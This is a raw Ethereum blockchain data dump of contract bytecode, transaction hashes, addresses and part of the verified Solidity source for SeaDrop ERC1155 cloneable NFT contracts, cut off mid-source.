80600081146101dc576040519150601f19603f3d011682016040523d82523d6000602084013e6101e1565b606091505b50505050505050565b6000805460408051600481526024810182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa0e67e2b00000000000000000000000000000000000000000000000000000000179052905183926001600160a01b03169161025b91610651565b6000604051808303816000865af19150503d8060008114610298576040519150601f19603f3d011682016040523d82523d6000602084013e61029d565b606091505b50915091506000818060200190518101906102b891906106a4565b90506000805b8251811015610314578281815181106102d9576102d961073e565b60200260200101516001600160a01b0316326001600160a01b0316036103025760019150610314565b8061030c81610754565b9150506102be565b5080610380576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f43616c6c6572206973206e6f7420616e206f776e657200000000000000000000604482015260640160405180910390fd5b60005b855181101561043a5760008682815181106103a0576103a061073e565b6020026020010151600001516001600160a01b03168783815181106103c7576103c761073e565b6020026020010151602001516040516103e09190610651565b6000604051808303816000865af19150503d806000811461041d576040519150601f19603f3d011682016040523d82523d6000602084013e610422565b606091505b5050905050808061043290610754565b915050610383565b505050505050565b8183823760009101908152919050565b634e487b7160e01b600052604160045260246000fd5b6040805190810167ffffffffffffffff8111828210171561048b5761048b610452565b60405290565b604051601f8201601f1916810167ffffffffffffffff811182821017156104ba576104ba610452565b604052919050565b600067ffffffffffffffff8211156104dc576104dc610452565b5060051b60200190565b6001600160a01b03811681146104fb57600080fd5b50565b6000602080838503121561051157600080fd5b823567ffffffffffffffff8082111561052957600080fd5b818501915085601f83011261053d57600080fd5b813561055061054b826104c2565b610491565b81815260059190911b8301840190848101908883111561056f57600080fd5b8585015b838110156106445780358581111561058b5760008081fd5b86016040601f19828d0381018213156105a45760008081fd5b6105ac610468565b8a8401356105b9816104e6565b815283830135898111156105cd5760008081fd5b8085019450508d603f8501126105e35760008081fd5b8a840135898111156105f7576105f7610452565b6106078c84601f84011601610491565b92508083528e8482870101111561061e5760008081fd5b808486018d85013760009083018c0152808b019190915285525050918601918601610573565b5098975050505050505050565b6000825160005b818110156106725760208186018101518583015201610658565b506000920191825250919050565b60006020828403121561069257600080fd5b815161069d816104e6565b9392505050565b600060208083850312156106b757600080fd5b825167ffffffffffffffff8111156106ce57600080fd5b8301601f810185136106df57600080fd5b80516106ed61054b826104c2565b81815260059190911b8201830190838101908783111561070c57600080fd5b928401925b82841015610733578351610724816104e6565b82529284019290840190610711565b979650505050505050565b634e487b7160e01b600052603260045260246000fd5b60006001820161077457634e487b7160e01b600052601160045260246000fd5b506001019056fea2646970667358221220dd25f0d5476ea66b0888e933a8c0779f7a9cadd35b8c83e5ad98897a88d5232064736f6c634300081200330000000000000000000000000000e23abdc862a1911d77904e77fdb378d00000
6080604052600436106100225760003560e01c8063caa5c23f146100a157610032565b3661003257610030346100c1565b005b6040517f11111111111111111111000000000000000000000000000000000000000000006020820152602a0160405160208183030381529060405280519060200120600036604051610085929190610442565b604051809103902003610098575b610093565b610030346100c1565b3480156100ad57600080fd5b506100306100bc3660046104fe565b6101ea565b6000805460408051600481526024810182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f9b2d7f6500000000000000000000000000000000000000000000000000000000179052905183926001600160a01b03169161013291610651565b6000604051808303816000865af19150503d806000811461016f576040519150601f19603f3d011682016040523d82523d6000602084013e610174565b606091505b509150915060008180602001905181019061018f9190610680565b9050806001600160a01b03168460405160006040518083038185875af1925050503d80600081146101dc576040519150601f19603f3d011682016040523d82523d6000602084013e6101e1565b606091505b50505050505050565b6000805460408051600481526024810182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa0e67e2b00000000000000000000000000000000000000000000000000000000179052905183926001600160a01b03169161025b91610651565b6000604051808303816000865af19150503d8060008114610298576040519150601f19603f3d011682016040523d82523d6000602084013e61029d565b606091505b50915091506000818060200190518101906102b891906106a4565b90506000805b8251811015610314578281815181106102d9576102d961073e565b60200260200101516001600160a01b0316326001600160a01b0316036103025760019150610314565b8061030c81610754565b9150506102be565b5080610380576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f43616c6c6572206973206e6f7420616e206f776e657200000000000000000000604482015260640160405180910390fd5b60005b855181101561043a5760008682815181106103a0576103a061073e565b6020026020010151600001516001600160a01b03168783815181106103c7576103c761073e565b6020026020010151602001516040516103e09190610651565b6000604051808303816000865af19150503d806000811461041d576040519150601f19603f3d011682016040523d82523d6000602084013e610422565b606091505b5050905050808061043290610754565b915050610383565b505050505050565b8183823760009101908152919050565b634e487b7160e01b600052604160045260246000fd5b6040805190810167ffffffffffffffff8111828210171561048b5761048b610452565b60405290565b604051601f8201601f1916810167ffffffffffffffff811182821017156104ba576104ba610452565b604052919050565b600067ffffffffffffffff8211156104dc576104dc610452565b5060051b60200190565b6001600160a01b03811681146104fb57600080fd5b50565b6000602080838503121561051157600080fd5b823567ffffffffffffffff8082111561052957600080fd5b818501915085601f83011261053d57600080fd5b813561055061054b826104c2565b610491565b81815260059190911b8301840190848101908883111561056f57600080fd5b8585015b838110156106445780358581111561058b5760008081fd5b86016040601f19828d0381018213156105a45760008081fd5b6105ac610468565b8a8401356105b9816104e6565b815283830135898111156105cd5760008081fd5b8085019450508d603f8501126105e35760008081fd5b8a840135898111156105f7576105f7610452565b6106078c84601f84011601610491565b92508083528e8482870101111561061e5760008081fd5b808486018d85013760009083018c0152808b019190915285525050918601918601610573565b5098975050505050505050565b6000825160005b818110156106725760208186018101518583015201610658565b506000920191825250919050565b60006020828403121561069257600080fd5b815161069d816104e6565b9392505050565b600060208083850312156106b757600080fd5b825167ffffffffffffffff8111156106ce57600080fd5b8301601f810185136106df57600080fd5b80516106ed61054b826104c2565b81815260059190911b8201830190838101908783111561070c57600080fd5b928401925b82841015610733578351610724816104e6565b82529284019290840190610711565b979650505050505050565b634e487b7160e01b600052603260045260246000fd5b60006001820161077457634e487b7160e01b600052601160045260246000fd5b506001019056fea2646970667358221220dd25f0d5476ea66b0888e933a8c0779f7a9cadd35b8c83e5ad98897a88d5232064736f6c63430008120033
1
19,493,323
e0e276262da4580ba1d2ad5ab6db4135feb7c85223837716849a3aa05edb5732
46020fe3533c5e73fe27b666566d7fd062bbf57ac63bcf977674fc33109d25b0
5af239c0d236d96c334d9ca6b845a3ed6861eaf0
758ed0650bdf2ac3bf4a48440c3eb2f6d2bb42a5
51b7a0c6dc0bb0cddfdd7f95bbd023da83a29722
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
1
19,493,326
76caa16e871a01b5a630f29c78f84a502cd7068a95f5143fe3fd35c05dcb5d37
89f5d461fe3261c80692430e9beb7d0d19f17115ebf12bb55b7ee711693c6350
958ac2e986ea15d33caae538dd632a1350f4b714
000000f20032b9e171844b00ea507e11960bd94a
13d4481e81616822de59cf21dde29c5920568e24
3d602d80600a3d3981f3363d3d373d3d3d363d730d223d05e1cc4ac20de7fce86bc9bb8efb56f4d45af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d730d223d05e1cc4ac20de7fce86bc9bb8efb56f4d45af43d82803e903d91602b57fd5bf3
{{ "language": "Solidity", "sources": { "src/clones/ERC1155SeaDropCloneable.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ERC1155SeaDropContractOffererCloneable\n} from \"./ERC1155SeaDropContractOffererCloneable.sol\";\n\n/**\n * @title ERC1155SeaDropCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable ERC1155 token contract that can mint as a\n * Seaport contract offerer.\n */\ncontract ERC1155SeaDropCloneable is ERC1155SeaDropContractOffererCloneable {\n /**\n * @notice Initialize the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * implementation code. Also contains SeaDrop\n * implementation code.\n * @param allowedSeaport The address of the Seaport contract allowed to\n * interact.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function initialize(\n address allowedConfigurer,\n address allowedSeaport,\n string memory name_,\n string memory symbol_,\n address initialOwner\n ) public initializer {\n // Initialize ownership.\n _initializeOwner(initialOwner);\n\n // Initialize ERC1155SeaDropContractOffererCloneable.\n __ERC1155SeaDropContractOffererCloneable_init(\n allowedConfigurer,\n allowedSeaport,\n name_,\n symbol_\n );\n }\n\n /**\n * @dev Auto-approve the conduit after mint or transfer.\n *\n * @custom:param from The address to transfer from.\n * @param to The address to transfer to.\n * @custom:param ids The token ids to transfer.\n * @custom:param amounts The quantities to transfer.\n * @custom:param data The data to pass if receiver is a contract.\n */\n function _afterTokenTransfer(\n address /* from */,\n address to,\n uint256[] memory /* ids */,\n uint256[] memory /* amounts */,\n bytes memory /* data */\n ) internal virtual override {\n // Auto-approve the conduit.\n if (to != address(0) && !isApprovedForAll(to, _CONDUIT)) {\n _setApprovalForAll(to, _CONDUIT, true);\n }\n }\n\n /**\n * @dev Override this function to return true if `_afterTokenTransfer` is\n * used. The is to help the compiler avoid producing dead bytecode.\n */\n function _useAfterTokenTransfer()\n internal\n view\n virtual\n override\n returns (bool)\n {\n return true;\n }\n\n /**\n * @notice Burns a token, restricted to the owner or approved operator,\n * and must have sufficient balance.\n *\n * @param from The address to burn from.\n * @param id The token id to burn.\n * @param amount The amount to burn.\n */\n function burn(address from, uint256 id, uint256 amount) external {\n // Burn the token.\n _burn(msg.sender, from, id, amount);\n }\n\n /**\n * @notice Burns a batch of tokens, restricted to the owner or\n * approved operator, and must have sufficient balance.\n *\n * @param from The address to burn from.\n * @param ids The token ids to burn.\n * @param amounts The amounts to burn per token id.\n */\n function batchBurn(\n address from,\n uint256[] calldata ids,\n uint256[] calldata amounts\n ) external {\n // Burn the tokens.\n _batchBurn(msg.sender, from, ids, amounts);\n }\n}\n" }, "src/clones/ERC1155SeaDropContractOffererCloneable.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { IERC1155SeaDrop } from \"../interfaces/IERC1155SeaDrop.sol\";\n\nimport { ISeaDropToken } from \"../interfaces/ISeaDropToken.sol\";\n\nimport {\n ERC1155ContractMetadataCloneable\n} from \"./ERC1155ContractMetadataCloneable.sol\";\n\nimport {\n ERC1155SeaDropContractOffererStorage\n} from \"../lib/ERC1155SeaDropContractOffererStorage.sol\";\n\nimport {\n ERC1155SeaDropErrorsAndEvents\n} from \"../lib/ERC1155SeaDropErrorsAndEvents.sol\";\n\nimport { PublicDrop } from \"../lib//ERC1155SeaDropStructs.sol\";\n\nimport { AllowListData } from \"../lib/SeaDropStructs.sol\";\n\nimport {\n ERC1155ConduitPreapproved\n} from \"../lib/ERC1155ConduitPreapproved.sol\";\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\nimport { SpentItem } from \"seaport-types/src/lib/ConsiderationStructs.sol\";\n\nimport {\n ContractOffererInterface\n} from \"seaport-types/src/interfaces/ContractOffererInterface.sol\";\n\nimport {\n IERC165\n} from \"@openzeppelin/contracts/utils/introspection/IERC165.sol\";\n\n/**\n * @title ERC1155SeaDropContractOffererCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable ERC1155 token contract that can mint as a\n * Seaport contract offerer.\n */\ncontract ERC1155SeaDropContractOffererCloneable is\n ERC1155ContractMetadataCloneable,\n ERC1155SeaDropErrorsAndEvents\n{\n using ERC1155SeaDropContractOffererStorage for ERC1155SeaDropContractOffererStorage.Layout;\n\n /**\n * @notice Initialize the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * configure parameters. Also contains SeaDrop\n * implementation code.\n * @param allowedSeaport The address of the Seaport contract allowed to\n * interact.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function __ERC1155SeaDropContractOffererCloneable_init(\n address allowedConfigurer,\n address allowedSeaport,\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n // Set the allowed Seaport to interact with this contract.\n if (allowedSeaport == address(0)) {\n revert AllowedSeaportCannotBeZeroAddress();\n }\n ERC1155SeaDropContractOffererStorage.layout()._allowedSeaport[\n allowedSeaport\n ] = true;\n\n // Set the allowed Seaport enumeration.\n address[] memory enumeratedAllowedSeaport = new address[](1);\n enumeratedAllowedSeaport[0] = allowedSeaport;\n ERC1155SeaDropContractOffererStorage\n .layout()\n ._enumeratedAllowedSeaport = enumeratedAllowedSeaport;\n\n // Emit an event noting the contract deployment.\n emit SeaDropTokenDeployed(SEADROP_TOKEN_TYPE.ERC1155_CLONE);\n\n // Initialize ERC1155ContractMetadataCloneable.\n __ERC1155ContractMetadataCloneable_init(\n allowedConfigurer,\n name_,\n symbol_\n );\n }\n\n /**\n * @notice The fallback function is used as a dispatcher for SeaDrop\n * methods.\n */\n fallback(bytes calldata) external returns (bytes memory output) {\n // Get the function selector.\n bytes4 selector = msg.sig;\n\n // Get the rest of the msg data after the selector.\n bytes calldata data = msg.data[4:];\n\n // Determine if we should forward the call to the implementation\n // contract with SeaDrop logic.\n bool callSeaDropImplementation = selector ==\n ISeaDropToken.updateAllowedSeaport.selector ||\n selector == ISeaDropToken.updateDropURI.selector ||\n selector == ISeaDropToken.updateAllowList.selector ||\n selector == ISeaDropToken.updateCreatorPayouts.selector ||\n selector == ISeaDropToken.updatePayer.selector ||\n selector == ISeaDropToken.updateAllowedFeeRecipient.selector ||\n selector == ISeaDropToken.updateSigner.selector ||\n selector == IERC1155SeaDrop.updatePublicDrop.selector ||\n selector == ContractOffererInterface.previewOrder.selector ||\n selector == ContractOffererInterface.generateOrder.selector ||\n selector == ContractOffererInterface.getSeaportMetadata.selector ||\n selector == IERC1155SeaDrop.getPublicDrop.selector ||\n selector == IERC1155SeaDrop.getPublicDropIndexes.selector ||\n selector == ISeaDropToken.getAllowedSeaport.selector ||\n selector == ISeaDropToken.getCreatorPayouts.selector ||\n selector == ISeaDropToken.getAllowListMerkleRoot.selector ||\n selector == ISeaDropToken.getAllowedFeeRecipients.selector ||\n selector == ISeaDropToken.getSigners.selector ||\n selector == ISeaDropToken.getDigestIsUsed.selector ||\n selector == ISeaDropToken.getPayers.selector;\n\n // Determine if we should require only the owner or configurer calling.\n bool requireOnlyOwnerOrConfigurer = selector ==\n ISeaDropToken.updateAllowedSeaport.selector ||\n selector == ISeaDropToken.updateDropURI.selector ||\n selector == ISeaDropToken.updateAllowList.selector ||\n selector == ISeaDropToken.updateCreatorPayouts.selector ||\n selector == ISeaDropToken.updatePayer.selector ||\n selector == ISeaDropToken.updateAllowedFeeRecipient.selector ||\n selector == IERC1155SeaDrop.updatePublicDrop.selector;\n\n if (callSeaDropImplementation) {\n // For update calls, ensure the sender is only the owner\n // or configurer contract.\n if (requireOnlyOwnerOrConfigurer) {\n _onlyOwnerOrConfigurer();\n } else if (selector == ISeaDropToken.updateSigner.selector) {\n // For updateSigner, a signer can disallow themselves.\n // Get the signer parameter.\n address signer = address(bytes20(data[12:32]));\n // If the signer is not allowed, ensure sender is only owner\n // or configurer.\n if (\n msg.sender != signer ||\n (msg.sender == signer &&\n !ERC1155SeaDropContractOffererStorage\n .layout()\n ._allowedSigners[signer])\n ) {\n _onlyOwnerOrConfigurer();\n }\n }\n\n // Forward the call to the implementation contract.\n (bool success, bytes memory returnedData) = _CONFIGURER\n .delegatecall(msg.data);\n\n // Require that the call was successful.\n if (!success) {\n // Bubble up the revert reason.\n assembly {\n revert(add(32, returnedData), mload(returnedData))\n }\n }\n\n // If the call was to generateOrder, mint the tokens.\n if (selector == ContractOffererInterface.generateOrder.selector) {\n _mintOrder(data);\n }\n\n // Return the data from the delegate call.\n return returnedData;\n } else if (selector == IERC1155SeaDrop.getMintStats.selector) {\n // Get the minter and token id.\n (address minter, uint256 tokenId) = abi.decode(\n data,\n (address, uint256)\n );\n\n // Get the mint stats.\n (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n ) = _getMintStats(minter, tokenId);\n\n // Encode the return data.\n return\n abi.encode(\n minterNumMinted,\n minterNumMintedForTokenId,\n totalMintedForTokenId,\n maxSupply\n );\n } else if (selector == ContractOffererInterface.ratifyOrder.selector) {\n // This function is a no-op, nothing additional needs to happen here.\n // Utilize assembly to efficiently return the ratifyOrder magic value.\n assembly {\n mstore(0, 0xf4dd92ce)\n return(0x1c, 32)\n }\n } else if (selector == ISeaDropToken.configurer.selector) {\n // Return the configurer contract.\n return abi.encode(_CONFIGURER);\n } else if (selector == IERC1155SeaDrop.multiConfigureMint.selector) {\n // Ensure only the owner or configurer can call this function.\n _onlyOwnerOrConfigurer();\n\n // Mint the tokens.\n _multiConfigureMint(data);\n } else {\n // Revert if the function selector is not supported.\n revert UnsupportedFunctionSelector(selector);\n }\n }\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists in enforcing maxSupply, maxTotalMintableByWallet,\n * and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC1155Received() hooks.\n *\n * @param minter The minter address.\n * @param tokenId The token id to return the stats for.\n */\n function _getMintStats(\n address minter,\n uint256 tokenId\n )\n internal\n view\n returns (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n )\n {\n // Put the token supply on the stack.\n TokenSupply storage tokenSupply = _tokenSupply[tokenId];\n\n // Assign the return values.\n totalMintedForTokenId = tokenSupply.totalMinted;\n maxSupply = tokenSupply.maxSupply;\n minterNumMinted = _totalMintedByUser[minter];\n minterNumMintedForTokenId = _totalMintedByUserPerToken[minter][tokenId];\n }\n\n /**\n * @dev Handle ERC-1155 safeTransferFrom. If \"from\" is this contract,\n * the sender can only be Seaport or the conduit.\n *\n * @param from The address to transfer from.\n * @param to The address to transfer to.\n * @param id The token id to transfer.\n * @param amount The amount of tokens to transfer.\n * @param data The data to pass to the onERC1155Received hook.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual override {\n if (from == address(this)) {\n // Only Seaport or the conduit can use this function\n // when \"from\" is this contract.\n if (\n msg.sender != _CONDUIT &&\n !ERC1155SeaDropContractOffererStorage.layout()._allowedSeaport[\n msg.sender\n ]\n ) {\n revert InvalidCallerOnlyAllowedSeaport(msg.sender);\n }\n return;\n }\n\n ERC1155._safeTransfer(_by(), from, to, id, amount, data);\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(\n bytes4 interfaceId\n )\n public\n view\n virtual\n override(ERC1155ContractMetadataCloneable)\n returns (bool)\n {\n return\n interfaceId == type(IERC1155SeaDrop).interfaceId ||\n interfaceId == type(ContractOffererInterface).interfaceId ||\n interfaceId == 0x2e778efc || // SIP-5 (getSeaportMetadata)\n // ERC1155ContractMetadata returns supportsInterface true for\n // IERC1155ContractMetadata, ERC-4906, ERC-2981\n // ERC1155A returns supportsInterface true for\n // ERC165, ERC1155, ERC1155MetadataURI\n ERC1155ContractMetadataCloneable.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Internal function to mint tokens during a generateOrder call\n * from Seaport.\n *\n * @param data The original transaction calldata, without the selector.\n */\n function _mintOrder(bytes calldata data) internal {\n // Decode fulfiller, minimumReceived, and context from calldata.\n (\n address fulfiller,\n SpentItem[] memory minimumReceived,\n ,\n bytes memory context\n ) = abi.decode(data, (address, SpentItem[], SpentItem[], bytes));\n\n // Assign the minter from context[22:42]. We validate context has the\n // correct minimum length in the implementation's `_decodeOrder`.\n address minter;\n assembly {\n minter := shr(96, mload(add(add(context, 0x20), 22)))\n }\n\n // If the minter is the zero address, set it to the fulfiller.\n if (minter == address(0)) {\n minter = fulfiller;\n }\n\n // Set the token ids and quantities.\n uint256 minimumReceivedLength = minimumReceived.length;\n uint256[] memory tokenIds = new uint256[](minimumReceivedLength);\n uint256[] memory quantities = new uint256[](minimumReceivedLength);\n for (uint256 i = 0; i < minimumReceivedLength; ) {\n tokenIds[i] = minimumReceived[i].identifier;\n quantities[i] = minimumReceived[i].amount;\n unchecked {\n ++i;\n }\n }\n\n // Mint the tokens.\n _batchMint(minter, tokenIds, quantities, \"\");\n }\n\n /**\n * @dev Internal function to mint tokens during a multiConfigureMint call\n * from the configurer contract.\n *\n * @param data The original transaction calldata, without the selector.\n */\n function _multiConfigureMint(bytes calldata data) internal {\n // Decode the calldata.\n (\n address recipient,\n uint256[] memory tokenIds,\n uint256[] memory amounts\n ) = abi.decode(data, (address, uint256[], uint256[]));\n\n _batchMint(recipient, tokenIds, amounts, \"\");\n }\n}\n" }, "src/interfaces/IERC1155SeaDrop.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { ISeaDropToken } from \"./ISeaDropToken.sol\";\n\nimport { PublicDrop } from \"../lib/ERC1155SeaDropStructs.sol\";\n\n/**\n * @dev A helper interface to get and set parameters for ERC1155SeaDrop.\n * The token does not expose these methods as part of its external\n * interface to optimize contract size, but does implement them.\n */\ninterface IERC1155SeaDrop is ISeaDropToken {\n /**\n * @notice Update the SeaDrop public drop parameters at a given index.\n *\n * @param publicDrop The new public drop parameters.\n * @param index The public drop index.\n */\n function updatePublicDrop(\n PublicDrop calldata publicDrop,\n uint256 index\n ) external;\n\n /**\n * @notice Returns the public drop stage parameters at a given index.\n *\n * @param index The index of the public drop stage.\n */\n function getPublicDrop(\n uint256 index\n ) external view returns (PublicDrop memory);\n\n /**\n * @notice Returns the public drop indexes.\n */\n function getPublicDropIndexes() external view returns (uint256[] memory);\n\n /**\n * @notice Returns a set of mint stats for the address.\n * This assists SeaDrop in enforcing maxSupply,\n * maxTotalMintableByWallet, maxTotalMintableByWalletPerToken,\n * and maxTokenSupplyForStage checks.\n *\n * @dev NOTE: Implementing contracts should always update these numbers\n * before transferring any tokens with _safeMint() to mitigate\n * consequences of malicious onERC1155Received() hooks.\n *\n * @param minter The minter address.\n * @param tokenId The token id to return stats for.\n */\n function getMintStats(\n address minter,\n uint256 tokenId\n )\n external\n view\n returns (\n uint256 minterNumMinted,\n uint256 minterNumMintedForTokenId,\n uint256 totalMintedForTokenId,\n uint256 maxSupply\n );\n\n /**\n * @notice This function is only allowed to be called by the configurer\n * contract as a way to batch mints and configuration in one tx.\n *\n * @param recipient The address to receive the mints.\n * @param tokenIds The tokenIds to mint.\n * @param amounts The amounts to mint.\n */\n function multiConfigureMint(\n address recipient,\n uint256[] calldata tokenIds,\n uint256[] calldata amounts\n ) external;\n}\n" }, "src/interfaces/ISeaDropToken.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\nimport { AllowListData, CreatorPayout } from \"../lib/SeaDropStructs.sol\";\n\n/**\n * @dev A helper base interface for IERC721SeaDrop and IERC1155SeaDrop.\n * The token does not expose these methods as part of its external\n * interface to optimize contract size, but does implement them.\n */\ninterface ISeaDropToken is ISeaDropTokenContractMetadata {\n /**\n * @notice Update the SeaDrop allowed Seaport contracts privileged to mint.\n * Only the owner can use this function.\n *\n * @param allowedSeaport The allowed Seaport addresses.\n */\n function updateAllowedSeaport(address[] calldata allowedSeaport) external;\n\n /**\n * @notice Update the SeaDrop allowed fee recipient.\n * Only the owner can use this function.\n *\n * @param feeRecipient The new fee recipient.\n * @param allowed Whether the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(\n address feeRecipient,\n bool allowed\n ) external;\n\n /**\n * @notice Update the SeaDrop creator payout addresses.\n * The total basis points must add up to exactly 10_000.\n * Only the owner can use this function.\n *\n * @param creatorPayouts The new creator payouts.\n */\n function updateCreatorPayouts(\n CreatorPayout[] calldata creatorPayouts\n ) external;\n\n /**\n * @notice Update the SeaDrop drop URI.\n * Only the owner can use this function.\n *\n * @param dropURI The new drop URI.\n */\n function updateDropURI(string calldata dropURI) external;\n\n /**\n * @notice Update the SeaDrop allow list data.\n * Only the owner can use this function.\n *\n * @param allowListData The new allow list data.\n */\n function updateAllowList(AllowListData calldata allowListData) external;\n\n /**\n * @notice Update the SeaDrop allowed payers.\n * Only the owner can use this function.\n *\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(address payer, bool allowed) external;\n\n /**\n * @notice Update the SeaDrop allowed signer.\n * Only the owner can use this function.\n * An allowed signer can also disallow themselves.\n *\n * @param signer The signer to update.\n * @param allowed Whether the signer is allowed.\n */\n function updateSigner(address signer, bool allowed) external;\n\n /**\n * @notice Get the SeaDrop allowed Seaport contracts privileged to mint.\n */\n function getAllowedSeaport() external view returns (address[] memory);\n\n /**\n * @notice Returns the SeaDrop creator payouts.\n */\n function getCreatorPayouts() external view returns (CreatorPayout[] memory);\n\n /**\n * @notice Returns the SeaDrop allow list merkle root.\n */\n function getAllowListMerkleRoot() external view returns (bytes32);\n\n /**\n * @notice Returns the SeaDrop allowed fee recipients.\n */\n function getAllowedFeeRecipients() external view returns (address[] memory);\n\n /**\n * @notice Returns the SeaDrop allowed signers.\n */\n function getSigners() external view returns (address[] memory);\n\n /**\n * @notice Returns if the signed digest has been used.\n *\n * @param digest The digest hash.\n */\n function getDigestIsUsed(bytes32 digest) external view returns (bool);\n\n /**\n * @notice Returns the SeaDrop allowed payers.\n */\n function getPayers() external view returns (address[] memory);\n\n /**\n * @notice Returns the configurer contract.\n */\n function configurer() external view returns (address);\n}\n" }, "src/clones/ERC1155ContractMetadataCloneable.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n IERC1155ContractMetadata\n} from \"../interfaces/IERC1155ContractMetadata.sol\";\n\nimport {\n ERC1155ConduitPreapproved\n} from \"../lib/ERC1155ConduitPreapproved.sol\";\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\nimport { ERC2981 } from \"solady/src/tokens/ERC2981.sol\";\n\nimport { Ownable } from \"solady/src/auth/Ownable.sol\";\n\nimport {\n Initializable\n} from \"@openzeppelin-upgradeable/contracts/proxy/utils/Initializable.sol\";\n\n/**\n * @title ERC1155ContractMetadataCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable token contract that extends ERC-1155\n * with additional metadata and ownership capabilities.\n */\ncontract ERC1155ContractMetadataCloneable is\n ERC1155ConduitPreapproved,\n ERC2981,\n Ownable,\n IERC1155ContractMetadata,\n Initializable\n{\n /// @notice A struct containing the token supply info per token id.\n mapping(uint256 => TokenSupply) _tokenSupply;\n\n /// @notice The total number of tokens minted by address.\n mapping(address => uint256) _totalMintedByUser;\n\n /// @notice The total number of tokens minted per token id by address.\n mapping(address => mapping(uint256 => uint256)) _totalMintedByUserPerToken;\n\n /// @notice The name of the token.\n string internal _name;\n\n /// @notice The symbol of the token.\n string internal _symbol;\n\n /// @notice The base URI for token metadata.\n string internal _baseURI;\n\n /// @notice The contract URI for contract metadata.\n string internal _contractURI;\n\n /// @notice The provenance hash for guaranteeing metadata order\n /// for random reveals.\n bytes32 internal _provenanceHash;\n\n /// @notice The allowed contract that can configure SeaDrop parameters.\n address internal _CONFIGURER;\n\n /**\n * @dev Reverts if the sender is not the owner or the allowed\n * configurer contract.\n *\n * This is used as a function instead of a modifier\n * to save contract space when used multiple times.\n */\n function _onlyOwnerOrConfigurer() internal view {\n if (msg.sender != _CONFIGURER && msg.sender != owner()) {\n revert Unauthorized();\n }\n }\n\n /**\n * @notice Deploy the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * configure parameters. Also contains SeaDrop\n * implementation code.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function __ERC1155ContractMetadataCloneable_init(\n address allowedConfigurer,\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n // Set the name of the token.\n _name = name_;\n\n // Set the symbol of the token.\n _symbol = symbol_;\n\n // Set the allowed configurer contract to interact with this contract.\n _CONFIGURER = allowedConfigurer;\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param newBaseURI The new base URI to set.\n */\n function setBaseURI(string calldata newBaseURI) external override {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the new base 